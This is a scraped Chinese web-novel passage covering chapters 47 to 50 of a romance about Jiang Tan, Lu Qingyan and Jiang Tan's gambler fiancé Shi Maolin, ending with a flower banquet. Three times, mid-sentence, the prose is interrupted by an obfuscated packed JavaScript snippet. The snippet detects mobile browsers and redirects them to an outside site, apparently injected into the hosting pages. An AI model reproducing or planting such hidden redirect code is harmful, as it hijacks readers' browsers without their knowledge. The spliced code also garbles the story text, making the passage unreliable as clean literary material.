见姜昙不说话,陆青檐慢悠悠地问:“嫂嫂为何不回答我的问题,冒犯如今的我已令你如此厌恶,连与我说句话也不肯了?” 他半张脸都是血,流淌至脖颈,红了一片。那颜色实在刺眼,让姜昙想起了不好的回忆。 姜昙撇过脸去。 没有。 身上的绳子绷紧,姜昙蓦地被拽过去。 陆青檐凑得很近,几乎是紧贴着她的鼻尖,一寸一寸巡视她面上的神情:“没有什么,没有看我的笑话?还是没有厌恶我?那会是什么,喜欢我?” 他取下她口中的布巾,她却不说话了。 陆青檐入夜不能视物,此处黑暗,他离得太近了。 姜昙的身体微颤,陆青檐皱眉看了她一会儿,朝外面叫道:“邓显。” 门上一阵锁链晃动的声音。 不多时,门自外面被打开,邓显在门口露出半个身子,向外面猛招手。 随后一个丫鬟进来,那丫鬟战战兢兢地解开姜昙的绳子,给姜昙穿了一件披风。 陆青檐今夜不大愿意搭理她。 他兀自跪在祠堂正中的蒲团上,背影挺直。 这祠堂分明关不住他,可他竟真的打算在这里跪一夜。 祠堂供桌上是陆家祖先的牌位,正中是那封来自京城陆国公的家信,恭恭敬敬,如圣旨一般放着。 一封父亲的家书,竟能让陆青檐心甘情愿地跪在这里一夜。 姜昙觉得不可思议。 小丫鬟哆嗦着说:“更深露重,奴婢送、送姑娘回去。” 门外夜色昏暗,天上看不到一颗星子。 姜昙忽然想起初见那天。 老祖宗的生辰宴上,陆青檐手捧礼物,也是这样笑意盈盈而来,却被泼了一脸酒液。 下人们见怪不怪,想来这么多年,这样的事情已经发生过不少次。 今夜陆青檐本不必来受这一遭,可他还是来了。 ……他是为她而来的。 姜昙自作多情地想道。 . 供桌之上,烛火闪了几下。 身后门扉发出微弱的响动,有人走的悄无声息。 陆青檐紧盯祖宗牌位,最靠前的是陆家不知第几辈的老太爷,陆青檐懒得数。盯得久了,依旧看不清牌位上写的什么字。 他便觉得有些腻烦。 闭上双眼,两行清泪自眼下流出。他今夜又用了那药,药性散去后的刺痛渐渐浮现。 陆青檐眼珠一突一突地疼,他忽然很想掀翻供桌上碍眼的烛火。 只是,他方才动了一下—— “别动。”一个声音轻轻出现在他身侧。 陆青檐睁眼,侧头看着姜昙。 她不知从哪寻了温水布巾,许是从外面要的。可他竟一点没听见她的动静,连她悄无声息靠近,也丝毫没有察觉。 直到她触碰到自己,温热的布巾擦拭在眼下,他才惊觉靠的如此之近。 真是危险。 这个距离,就算她拔出簪子杀了他,他也没有半分还手之力。因为上次的伤口还未好全,她头上的簪子和刀刃一样锋利,她定能一击即中,令他横死当场。 再加上祠堂的门被邓显锁了起来,护卫们听到动静开锁救他,需要折腾好长一会儿。 这是杀他的绝好时机。 从前不会有,以后…… 如果她方才杀了他,就不需多虑以后。 不过姜昙还是真是让人失望,她不仅没有杀他,还站的很远。分明伤了手,还自找苦吃,举着手臂给他擦拭眼泪和伤口。 站那么远,怕他吃了她吗? 陆青檐嗤笑一声:“我自小就看过大夫,他说我是天生无泪之人。从生下来一直到死去,一滴眼泪都不会掉。哪怕是我爹今天死了,我也能在明日敲锣打鼓地办喜事。” 陆青檐说:“我没有哭,我也从不会哭。” 温热的布巾移至另一只眼下。 姜昙静静看着他:“我也只是在擦汗。” 陆青檐默然。 他分明有很多话可说,可他却不大想说出来。 因为祠堂里住满了陆家鬼魂,这里太冷了,需要温热的布巾在脸上停留一会儿,哪怕片刻也好。 水意拂过一双清亮的双眸。 “你不是要与我两不相欠吗?”陆青檐的眼神落在她略显苍白的唇上:“此举又是什么意思?” 姜昙的手顿了顿,垂着眼眸,将布巾放在陆青檐的手上。 这个过程中,丝毫没有触碰到他,可谓十分懂得分寸。 陆青檐心中不禁冷笑:他只不过随意说了一句,她就退缩了! 此刻姜昙心中亦很复杂。 她本不是一个斤斤计较的人,一些旁人看来无法容忍之事,原本于她而言,其实视之淡然。只是她已有未婚夫,少不得要计较。 可现在……她又计较给谁看呢? 斟酌片刻,姜昙从袖中拿出一个护身符来,捧至陆青檐眼前。 “那次本想上山求护身符,不想遇到了大雨,又在悬崖下几经波折,最后没能求成。不过前两日,我又去了一趟。” 前两日,是哪一日?是他对她做过那些事之后? 那她可真大度,在那之后竟还肯为他求护身符。 陆青檐屹然不动。 姜昙便将护身符轻轻搁在蒲团上。又将身上的披风解开,叠好放在地上,恭声说道:“承蒙长公子厚爱,可姜昙并非良人,配不起你如此的心意。” 她竟还是放不下施茂林。 陆青檐不由冷笑,声音听起来略显刺耳:“嫂嫂与施兄的爱情,连我听了都感动得要死呢。” 输掉白银万两,沉湎温柔乡。 忠厚真挚的老实人变成一个狡诈不堪的赌鬼,她也初心不改,真是惊天地、泣鬼神的爱情! “长公子。”姜昙叹息着唤了他一声:“我要走了,三日后就动身。” 所以,别再用这样的语气说伤人之语,也别在生她的气了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972661|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三日后离开去何处,泰兴么? 是了,那是施茂林的故乡,他们从一开始就计划好,要回泰兴成亲的。 “施兄当真是好福气。” 沉默许久,陆青檐似笑非笑:“不过,嫂嫂说这些话时,怎么连看我一眼都不肯,是庸的相貌丑陋吗?还是嫂嫂说的话只是敷衍,并非真心?若不说明白,我不甘心。” 陆青檐凑近她,连她面上的细小绒毛都看得一清二楚。 姜昙是真心的。 她闭了闭眼,做好心理准备,眼神落至面前之人的胸口,看到银绣云纹的领口如此精美。 再往上看,染着斑点血迹。再往上—— 她确实不太敢看他。 供桌上点着烛火,他的脸在烛火前暴露无遗。方才只是扫了一眼,就令她的心脏狂跳不已。 若是仔细视之,更骇人了。 陆青檐看见她这般模样,面上笑意全无,讽刺地说: “说到底,嫂嫂心里还是记着那个厌恶的故人,故而连带着看我也碍眼……” 话未说完,姜昙的手试探着抬起来,在空中寻摸了半天,才定下来。 她遮住了他的半张脸,只露一双眼睛在外面。 姜昙一笑:“姜妙仪擅长通过观察人的眼睛,判断一人的品性。和那人在一起时,我因心生畏惧从不敢细看他的眼睛。而长公子的这双眼睛,清澈见底,由此可见——” 陆青檐与姜昙对视,眼神怔怔。 姜昙忽而起身,郑重向陆青檐行了个大礼:“长公子是一个好人,又在京城做官,前途无量。从今以后,会有万万人来爱你。姜妙仪何其渺小,不值得你困扰。” 所以,也不必为任何一个不爱你的陆家人伤心。 三拜后起身,姜昙抬手抚过陆青檐眼下,说:“别哭了。” 声音如羽毛拂过心上。 陆青檐奇怪地摸了摸眼下,双眼竟又淌出泪来:“姜昙,你——” 门咣当一声被打开。 邓显推门而入:“长公子,施茂林找到了!” 闻言,陆青檐下意识去抓姜昙的袖子,却抓了个空。 姜昙离开得极快,只余声音微不可闻:“我有事与茂林说,先行告退。” 姜昙走后的祠堂,一片死寂中,陆青檐的呼吸声变得粗重。 抓空的手掌攥紧,陆青檐豁然起身,一脚将跪地的邓显踹得生生呕血。 要走了?三日后动身! 走得这般急切,从此天高水长,后会无期! 原来是打算离开了,以为以后再也不必相见,所以待他如此宽容?连亲吻她、褪去她的衣服那样放肆的行径也不计较。 她可真是洒脱。 可她凭什么如此洒脱!想走?想断得干干净净?早就断不干净了! 他不会让她走,也绝不会让她如意! 眼睛又疼起来,头也跟着疼。 陆青檐深长地吸了口气,语气还算耐心:“我知道,你不会无缘无故打搅我,还有什么事?” 邓显擦干嘴角的血渍,勉强笑了笑:“京城有疑似扬州逃出去的锦衣卫检举,说您私自圈地围猎,消息已传入宫里……尚书令你即刻回京。” 忽听得一声冷笑。 陆青檐从供桌下抽出月杖,一脚踢翻供桌。 将陆家那不知十几辈还是几十辈的牌位,统统砸得粉碎。 48. 第 48 章 见到施茂林的那一刻,姜昙原本急促的心跳声渐渐平息。 她原本有很多话问他,可此刻竟一句都说不出口。 施茂林憔悴了许多,但气色尚可,身体无恙。 看来他这两日,过得还不错。 看到姜昙,施茂林立刻大步走过来,急切地想要拉姜昙的手,却被淡淡避开了。 “阿昙。” 姜昙只是说了一句:“走吧。” 二人乘坐陆家的马车回去,姜昙本不愿坐,陆青檐身边那个叫做邓显的书生追上来一直劝她,实在无法拒绝,姜昙只好坐上马车。 两人交谈时,施茂林的视线在二人身上打转。 上了马车,一片寂静。 施茂林打量马车内部的装饰。 波斯地毯,苏州绸缎做的桌布,不知名的茶叶……可是能放在如此奢华的马车中,怎么会是上不得台面的东西。 这马车与外面路边可以租的马车大不一样,处处都彰显着世家大族的低调讲究。不像是给随便给客人乘坐的马车,倒像是陆家哪位主子的车驾。 施茂林靠坐过来:“你与伯安方才说的什么,也不说给我听听?” 说这话时,施茂林语气含笑。 而姜昙只淡然看了他一眼。 打量他下巴的胡茬,额角凌乱的头发,故作轻松的笑容,以及越来越僵硬的嘴角。 从前他的心思都写在脸上,有什么疑惑之处也会立刻问出,因此两人有时话不投机,却从无疙瘩。 可如今他也学会拐弯抹角了。 “我们回去说。” 姜昙闭上眼睛,靠在车壁上休息,在马车中嗅到了一阵淡淡的杜衡香。 她实在欠长公子太多。 到了客栈,那些讨债之人竟都不在。 紫珠见姜昙安然而归,开心地迎上来,本想说些什么,看到施茂林从身后出现,生生忍住了。 施母听到施茂林的动静,哭着从楼上下来,到了近前,边哭边捶打儿子。 施茂林一边安慰,一边用期盼的眼神看着姜昙,欲言又止。 姜昙浑然不在意:“等你们母子说完话,再来说我们的事也不迟。” 说完,她兀自上楼去了。 背后施茂林不知跟施母说了什么,施母连声追问道:“真的?!” 得到肯定答复后,施母激动地又笑又叫:“列祖列宗保佑,我儿终于——” 姜昙将房门关上,那声音再听不见了。 窗外天色渐白,这一夜频起波折,总算平静了下来。 “门口守着的那些债主,原本见姑娘被带走,怎么也不肯安生。后来是一位自称是施公子朋友的人,将银两统统付清,他们才离去。” 紫珠小心地问她:“姑娘,施公子欠的债已经还清了。方才我自楼下上来,施夫人说她儿子中了武举人,看着不像假的。你……还跟他回泰兴吗?” 姜昙沉默良久:“你去请他进来,我有话与他说。” . 德庆七年十二月末,吴江知县刘仲青奉命代行监斩之责,处置囚犯宋庸。 德庆八年,正月初。 刘仲青于醉酒后,溺毙于吴江。 新年伊始,万象更新,姜昙披麻戴孝。 刘仲青死后的第五日,盐城姜家的人寻到了吴江。 来接她的是紫珠,还有伺候过娘亲多年的一位施嬷嬷。驾车的是施嬷嬷的侄儿,年方十七岁的施茂林。 姜昙不肯走。 刘仲青没有亲族,早在上任后就变卖了私宅,连灵堂都只能设在县衙。她是唯一的亲人,要为刘仲青守灵。 哪知施嬷嬷见了鬼一样看着她:“小姐,夫人没有兄弟,只有两三个庶出的姊妹,你哪来的舅舅?别不是被骗了吧!” 不可能!刘仲青怎么可能骗她? 她什么都没有失去,反而得到了不少,他分明是她最后的亲人! 姜昙怎么也不信。 最后她被杨修文劝回盐城,回去后大病了一场,终日神色恍惚。 病中她想明白了一件事,或许刘仲青根本没有姓姜的侄儿,只是怜她一人离家孤苦无依。身为吴江的父母官,收留一个举目无亲的少年,于他而言并非难事。 如同他死后来祭奠他的那些陌生面孔一样,刘仲青惯爱做好事不留名。 姜昙反复摩挲着腕上的疤痕,施茂林送的那只天青色镯子随着她的动作,颤颤晃动。 “阿昙,有个好消息告诉你,我中了武举人——” 施茂林喜气洋洋推门进来,看到满地打开的箱子和行李,神色一怔。 随即想到什么,恍然大悟:“紫珠这个不懂事的丫头,一定偷听到我和娘说话,提前告诉你了。阿昙高不高兴?我如愿做了武举人,不枉在扬州打拼这么多年,这下我们可以回乡成亲了!成亲之后,也不留住在泰兴,那地方好是好,就是小了点,来来往往都是没有见识的人。我们可以回到扬州住下,或者去京城……” 他兴致勃勃地畅想着两人的未来,突然发现四下里如此静默,只有他一人的说话声。 姜昙始终一言未发,神色淡淡。 施茂林脸上的喜色逐渐散去。 从陆家出来见到她的那一刻起,她就一直是这个模样。 “阿昙,你怎么了?” 姜昙仿若才回过神来,拿起手边的册子递给他。 他方才说了那么多,她竟一句都没听进去。 施茂林心中滋味难言,接过册子掀开,里面写的是:“……珍珠……二十两,……三百两……” 他识字不多,却知道封页上写的两个字:账本。 这就是他娘一直撺掇他,旁敲侧击问姜昙要的东西。 施茂林不好意思问,也觉得这本就是姜昙自己的东西,他不该插手。可因为施母苦苦相逼,施茂林夹在两人之间,很是为难。 如今姜昙主动交出来,施茂林心中却无热意,反倒一片冰凉。 “这是什么?” “首饰、布匹……我的嫁妆。” 姜昙一扯唇角,面上却无笑意:“我们自小在一处,你知道的,我家并不富硕。这些林林总总加起来不到三千两,这些年我因私事动用了近一千两,剩下的都在这里了。” 她将手腕上的镯子褪下,放于首饰盒中,一道推过去。 “把这些交给赌坊吧。” 她果然还是知道了。 施茂林面色一僵,想起不久前收到的消息,强自笑说:“我欠的债,不是有友人替我还清了吗,哪里就要动用你的嫁妆?何况又不是还不起,等我正式做上武举人,自有员外老爷给我送钱来。” 说到此处,他低头对她笑了笑:“到时候求我办事之人就跟河里的鱼一样,想要多少银子,不就是一句话的事。” 施茂林想,姜昙该跟他一起笑的,可她没有。 “你想说的,许是过江之鲫。” 姜昙沉静地看着他,眼中分明没有多余的情绪,却让施茂林想到了贡院里出来志得意满的书生。 春风得意,纵马看花。 施茂林一身汗臭在码头扛货,对上他们不经意撇过来的眼神,看到了浓浓的嫌弃。 姜昙说:“依照大昭律法,贪污受贿供奉于官府者,依受贿金银数额定罪,重则抄家流放。” 施茂林脑中残存的理智荡然无存,他想起自陆府离去前殷殷嘱咐的邓显,以及神情寡淡的姜昙。 “说到底,你就是被扬州的富贵繁华迷了眼,区区武举人怎么能入你的眼!不过你心里想的美,人家倒未必理你,面上对你笑,背地里指不定对你吐唾沫!” 姜昙也想到了,难怪那时她回头,看到施茂林的神色如此奇怪。 “原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984441|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来那时候,你心里想的竟是这些。”姜昙眼眶渐热:“我们从小到大的情分,你心中竟是这么看我的?” 纵然姜昙这几日想了许多,纵然她就打算分开,此时也不由伤心。 先前努力维持的平静,终究在此刻被打破。 “那我该怎么看你!” 施茂林脸色涨红,神情前所未有地可怖:“你一个未嫁的女儿家,在陆家过了夜,将至天明时才出来!若不是我去接你,你恐怕都不舍得回了吧?瞧瞧邓显哈巴狗的样子,平日多瞧不起人,我和陆庸是兄弟,而他只是个奴才,我就是他的半个爷,他竟敢那么看我!” 他虽是一个大老粗,可并不代表他是个傻子!此人虽然一副笑脸,可陆青檐不在的时候,邓显的态度敷衍,和那些贡院的书生一模一样! 他最讨厌的就是书生! 施茂林的手掌拍得桌面砰砰响:“那条哈巴狗整天眼睛长在脑袋上,可是见了你,却跟见了肉骨头一样前后打转,任你冷脸也不气,比对他主子还恭敬……” 争吵声和拍桌子的声音太大,紫珠想要进来,却发现门被锁住了。 “姑娘?姑娘!”紫珠焦急地在外面拍门。 拍门声更加激起施茂林的怒意,他搬起桌子将门一挡,紫珠连门也推不动了。 施茂林如今看起来十分可怕,让姜昙想起来姜清源。 年纪尚小时,姜清源醉酒后在家里砸东西,姜昙在娘亲的怀中瑟瑟发抖,彻夜难眠。 故而她讨厌男人喝酒。 一旦喝酒,他就会变成没有理智的野兽,只知施暴。 她那些小伎俩,在他面前会统统失去作用。 因为与这种人讲道理,是讲不通的,他们已不是人了。 姜昙垂眼啜泣,再抬头时,泪如雨下:“大木头,你吓到我了。” 施茂林心弦猛地一颤。 大木头,是小时候姜昙给他取的名字,他们算得上是青梅竹马,有过那么多美好的记忆。 理智回归,施茂林手足无措地道歉:“对不起阿昙,我不是故意的,我也不知怎么就变成了这样,我……” 姜昙抬起泪眼看他:“我还记得十七岁时你哄我出去踏青,我那时态度恶劣对你,叫你滚,你却怎么都不生气,一直笑眯眯地哄我……可你如今,竟这样对我。” “我错了,阿昙你不要伤心!” 施茂林又变回了那个忠厚老实的施茂林,握着姜昙的手用力掌掴自己。 姜昙温声说:“我们分开吧。” 施茂林急切地拥着她:“阿昙我们说好要成亲的,难道只为一点口角,就要闹成这个样子吗?你再给我一次机会,下次我定不会这样了!” 姜昙任由他抱着,待他冷静下来,在他耳边说:“我见到那个姑娘了。” 施茂林浑身一震。 姜昙反手抱住他:“我知道,茂林是个好丈夫,可是我们若是在一起,那个姑娘该怎么办?她是叫做红柳吗?真是个好名字,她用的胭脂真好闻,和你送我的那盒是同一个味道。从我住在陆府开始,她就陪着你,这么多日的感情,茂林舍得离开她吗?” 施茂林的手松了松。 “我去陆家是因为赌坊的人找上了门,牵扯到陆府,他们找不到你,才把我抓过去,那可是近万两的银子……” 施茂林脸色惨白。 “这些东西留给你,把这些送到赌坊,剩下钱的他们应该不会追究。” 姜昙摸了摸他的脸:“我愿成全你们。” 说罢,留下施茂林一人在屋子里。 门外是一直偷听到只言片语的紫珠,面色小心,不敢说话。 姜昙擦干眼下的药粉,然而手背一热,又有眼泪流下来。 这次大概不是因为药粉才哭。 刘仲青死了,施茂林让人失望。这么多年,她到底还是孤身一人。 49. 第 49 章 紫珠掀开车帘,看着逐渐远去的客栈,摇头叹息: “姑娘,我们真的就这么走了?施公子好不容易当上武举人,差一步你们就能修成正果,哎……” 紫珠还不知道施茂林有相好,只为施茂林的身份感到可惜。 可是姜昙很早就闻到过那个女人的香味。 从第一次闻到开始,她就有所怀疑。 到销金窟赌坊的那一日,遇见那个叫做红柳的女子,一凑近她,闻到熟悉的胭脂香,她已基本确定。 没有见到施茂林的日日夜夜,找不到他的那些时候,他或许都钻在此处。 只是她不愿意接受敏感多疑的自己,一旦往那个方向思考琢磨,好像又变回了三年前那个吴江书生,残忍且无情。 姜昙不愿意回到那个时候。 当初接受施茂林的心意,是因为她想过平凡的日子。 如今放弃他,也是同样的缘由。 某种意义上看来,自己似乎也辜负了他。 姜昙无意识摩挲手腕上的疤痕,忽然碰到一个硬硬的东西。 掀开袖子一看,竟是一个玉镯。 施茂林先后送过两个镯子,一个方才在客栈还给了他,另一个是他最初没钱的时候送给她的。 因为圈口略小,卡在小臂上,染上肌肤的温度,竟让她习惯了它的存在,一时忘了这个。 姜昙将镯子取下来,却发现它卡在手骨的位置,怎么也取不出。稍微用力,就察觉到一股钻心的疼痛。 罢了,还是留着吧。 那个时候,他身上还没有甜腻的胭脂香味。 这个镯子总归是干净的。 . 姜昙下榻于一家小客栈。 这客栈又小又挤,紫珠趴在墙上听了听,竟能听到另一个房间的说话声。 推开窗户不见太阳,屋子里仍是阴暗的。 紫珠看哪都不满意,清点行李时,更是连连叹气。 “姑娘,施公子又不是弱女子,你们分开便分开,还将大半的身家都给他,值当吗?” 紫珠越说越气:“更何况姑娘没有错,是施茂林自己染上赌瘾,平白给姑娘招惹祸端!姑娘为了他在陆家受那么多委屈,到头来施茂林成为武举人,无债一身轻,平白便宜了不知道谁家的女儿!姑娘真的甘心?” “钱是身外之物,我已留下足够咱们吃用的银两。若是留的再多一些,待我们离开扬州的路上,说不定会惹人觊觎,招来灾祸。至于值当不值当,甘心不甘心……” 姜昙说:“就当是还他的恩情,给他最后一次机会。” 紫珠无奈感叹:“姑娘,你这个性子太容易吃亏了。” 姜昙低头看着摊开的双手:“可我觉得,有时候,我似乎太残忍了些。” 施茂林身上处处都是不对劲,她却一句都没有提醒过他。 姜昙摇摇头:“不说这些了,东西找到没有,差人送去陆府。” 找是找到了,可紫珠舍不得:“姑娘,你把所有东西都送出去,你自己可怎么办?” 可若不是他,她就死好几回了。 救命之恩,还再多也嫌轻。 . 客栈门前,停下一辆华贵的马车。 沈芳茵皱眉看着布满蜘蛛网的客栈匾额,回头对小厮说:“你确定你没有找错地方?” 小厮苦着脸:“哪敢呢,小的问过好些人,一定是这个地方。如若不然,表姑娘就叫大公子打小的板子!” 沈芳茵仍半信半疑:“去敲门。” 姜昙正在翻看医书,忽听得紫珠在门外喊了一声:“姑娘——” 未等她说完,门就被推开,沈芳茵趾高气昂地走了进来。 上下打量姜昙一眼,并不打招呼,反而背着手在屋子里巡视一圈,比在自家的屋子还随意。 姜昙站起来:“沈小姐,久违了。” 沈芳茵转到桌旁,拿起姜昙正在看的那本医书,翻了几下,上面的字密密麻麻看得人头疼。 她忽然觉得手疼,一把丢开。 沈芳茵斜了一眼姜昙:“之前我有用的时候叫我表妹,现在目的达到了,叫我沈小姐。姜昙,你真是一个蝇蝇狗狗的小人!” “表妹想说的,或许是蝇营狗苟。”姜昙笑了下:“看来茵表妹近日学书颇有成效。” 沈芳茵认真地想了下,这不都一样吗? 但姜昙的第二句话,她十分认可:“我的字由我大表兄亲自教授,他可是太子伴读,太傅的学生!当然教的好!” 不过大表兄也很严厉就是了。 沈芳茵悄悄揉了揉手。 为了这一趟,她可是提前三日就开始准备,握断了五支笔,足足写了十张大字!才让大表兄点头,同意她出门。 姜昙问:“茵表妹这一趟来,是有什么事吗?” 按理说,除了施茂林之事和陆青檐,她不欠陆府什么。现在更是和施茂林断了关系,陆府更没有理由找她。 闻言,沈芳茵有些不自在。 紫珠悄然退下,将门关上,留两人说话。 只见沈芳茵从袖中取出一封请帖来:“范府小姐明日在府上举办一场赏花宴,足足一整日,从白日到夜里,你有很多时间。” 姜昙不懂她的意思:“什么?” 沈芳茵不耐烦:“你怎么这么笨?范小姐她爹是去年的武举考官——” 说到后面,沈芳茵眼神游移,声音渐低:“这可比武举师傅的名帖要珍贵得多。虽然只有一天,可你那么聪明,肯定有办法和范小姐说上话,就跟……” 就跟那时你找上我一样。 这句话,沈芳茵没有说出口。 沈芳茵刚到陆家时并不得宠,和陆母亲近起来是最近的事,范小姐应当也是她近来新认识的。 姜昙想不到,她还能记得自己。 分明那时候在她身边时,她多刁难自己,应该很讨厌自己才对。 姜昙很感激:“可我要离开扬州了,请帖应当是用不到了,你自行去吧。” 沈芳茵冷哼道:“你以为我舍了自己的请帖给你吗?我和范小姐交情好得很,这里有一大把请帖,给了许多人,只是用不完而已。送给你是我的事,你不想去放一边去,哪怕烧了谁也不会管你!” 姜昙于是笑说:“多谢茵表妹,不过我今日身体不适,是真的去不了。” 沈芳茵这才看清姜昙的脸色。 印象中的姜昙脸总是苍白的,她像只兔子一样,总是懒洋洋地窝在洞里不肯出来。 偶尔应她的要求出来,也总是穿得比旁人多一件衣服。她不经常笑,也没见她哭过。 自然,或许是她都将情绪藏在心里,故而脸上不明显。于是生气的时候,就像是突然发怒,教人捉摸不透。 按理说,这是个非常不讨人喜欢的人。可偏偏她身边的许多丫头,都喜欢去找她。 沈芳茵想不明白:“你怎么变成这样了?方才我就想说了,你那未婚夫不给你饭吃吗,怎么过的比在陆府的时候还狼狈?” 姜昙嘴角扯出一笑,并不说话。 沈芳茵最熟悉她这副模样,甩袖就要离开,谁管她! 可是行至门口,她又顿住了脚步:“范小姐是爱香之人,我听说她养的几品花朵可以入药,还不失香味……你要是没事做,不如去看看。” 她的语速越来越快,说到最后竟让人听不清楚。 却也不再多说,步履匆匆离去。 一溜烟回到马车上,沈芳茵反思刚才所言,不由后悔跺脚。 方才说得那么殷勤,好像低姜昙一头似的,她怎么这样不争气! 可很快她又想,方才说那么快,也不知道姜昙听清楚没有?就算姜昙听不清楚,紫珠站在门口总该听到了吧?姜妙仪的心机那么重,她的丫头也该不差才对。 ……医书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997670|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上说,病中之人多出去见见天光,会好的快一些,也不知道是不是真的。 沈芳茵正在思索,身边的丫环怯怯开口:“小姐,请帖给庸少爷送去了,可外院的小厮说……庸少爷似乎要出门,下人们连包袱都打包好了。” 沈芳茵不可置信:“什么?好不容易写完十张大字,熬走了大表兄!好不容易有了出门的机会,结果庸表兄要走了?” . 陆青檐坐在桌前,手中是一根簪子—— 那日姜昙划伤他的发簪。 晃月别庄那次的发簪,他曾让下人找过却无果。这一次的发簪,陆青檐亲眼看着它从姜昙手中掉落。 曾几何时,他死死地盯紧姜昙时,只能看到她发髻的这根簪子。 因为姜昙很少正眼看他。 不知道这根簪子跟了姜昙多久,可比他箱子里存放的头骨、手腕上的骨珠更久吗? 有没有三年? 门被敲了三声,邓显在外面说:“长公子,一切准备就绪,现在就能出发。” 陆青檐这才想起来先前那件事。 义父闫慈传他回京。 扬州的锦衣卫何其之多,再加上陆昇的帮忙,放跑锦衣卫是意料之中的事。 倘若汤指挥使知道儿子变成这副半死不活的模样,会不会气得当场拔剑寻仇? 门再次被敲响。 陆青檐将簪子握紧,推门而出。 邓显和一众护卫整齐地列在院中,已等他许久,只待他一声令下,便骑快马上京。 小厮将马牵过来,伺候陆青檐上马。 邓显看到这副景象,紧绷的神情一松,也跟着上马,驱马到陆青檐身边,笑说:“长公子尽可放心走,扬州这边有咱们的人盯着,一路到泰兴都安排了探子。等处理完京城之事,再回扬州也不迟。” 陆青檐并不说话,握紧缰绳朝外行去。 马蹄声沉稳有力,哒哒作响。 行至门口时,忽见门口小厮神情紧张,似是被人按着。 “他是怎么回事?” 陆青檐记得此人,姜昙来找他时,这人在门口替他办过事,拦住姜昙不让她进来。 邓显神色如常:“这小厮今早打碎了一个花盆,不详,属下便罚了他。” 陆青檐盯着邓显看了片刻,邓显笑意不变。 陆青檐却忽然扬起马鞭抽在邓显身上,马儿受惊,将邓显摔下马去。 那小厮被周围人放开,立时跪在地上,指着周边的人说:“长公子,姜姑娘早些时候派人送了东西来,他们不让我通报!” 小厮手上是一个盒子,盒子打开,里面放着一根长参,另放着几颗药丸。 邓显捂着鲜血淋漓的胳膊,瞥了一眼,笑说:“不过是寻常的药物,姜姑娘也真是的,感谢公子也该提前打听公子的喜好,至少送些金银过来。” 陆青檐默然片刻,蓦地阖上盒子。 邓显不用看就知道他的心思,连手臂的伤也顾不得,扑在陆青檐马前喝道:“长公子,大业为重!您忘了尚书的命令了吗!不过是一些药,长公子身边要什么有什么,何苦在意这些!” “我不是傻子。” 陆青檐踢开邓显。 他认得出来,这些是濒死前保命的药。 姜昙这么惜命的人,是觉得他死得比她快吗?竟把保命的药都送来了。 “长公子三思!” 邓显从地上爬起来,拦在陆青檐面前,顾不得这么多人在场:“锦衣卫敢告到御前,手里定然捏着钉死您的证据。此刻回京或许还有机会,再晚一些怕是连圣旨都下来了!长公子好不容易得到闫尚书的宠信,甘心一夕之间毁去吗!” 陆青檐勒马而立,马儿不安地刨着地面。 他思来想去,觉得邓显说得很对。他确实不甘心—— 自己究竟哪里不如施茂林那个野人? 他得亲自去问一问。 50. 第 50 章 姜昙还是去了范府的赏花宴。 紫珠是这么劝她的:“奴婢吃药最怕苦了,含蜜饯又齁得慌。如果能喝到一碗加了花朵的药,喝十碗恐怕也不觉得苦呢。” 傻孩子,哪有人上赶着喝药的。 何况花朵味多酸涩,未必就是甜的。就算是,且能做药材用。又怎么能保证,恰好生的病就需要它来治呢? 话虽这么说,可姜昙知道,紫珠是为自己好。 她将沈芳茵的话听进去了,赶她出门散心,说是晚上来范府接她。 姜昙想,便姑且去看一看吧。 范府里步步花团锦簇。 有些非时令的花朵竟也盛开着,还有专门的婢女负责照料,可见这范小姐是真下了心思的。 范府来赴宴的人,各自三三两两聚作一团说话。 姜昙一个也不认识,于是坐在偏僻的花丛中,一时无人打扰。 范小姐在水榭之中坐着,众星捧月。 姜昙看了一眼,那是一个爱花的小姑娘,只是爱得十分直白。发髻上和衣裙上簪着大朵的鲜花,只一张脸是干净的。 远远看去,像是移动的花丛。 和众小姐携手经过身边时,身上各种鲜花的芳香掺杂于一处,形成了一股奇异的香风。 姜昙躲在花丛里,那阵香风在花丛外停留。 范小姐和同伴正在谈论不知谁家的公子哥:“那个谁近日回扬州来了……你们谁可见过他?” “谁?” “那位啊,眉眼生的很美的那位。” “啊,是他……” 说话声暂停,尽管是打哑迷一样的对话,但显然几位小姐都知道说的是谁。 沉默声中,范小姐语出惊人:“这么美,做夫君一定合适。” “……啊?” 几位小姐膛目结舌。 “不是么?长得那么好看,就算他做了坏事,可只要看到他的脸,一定连气都生不出来。而且夫妻床事一定很——” 掷地有声的范小姐被同伴紧紧捂住了嘴。 另一女子羞涩发声:“其实我觉得,范小姐说得很有道理呢……” 片刻后,一连串小声的附和。 姜昙心中感叹道:不愧是武举官家的女公子,见底就是独到。 有人说:“范小姐不是给他发了请帖,可把人请来了?” 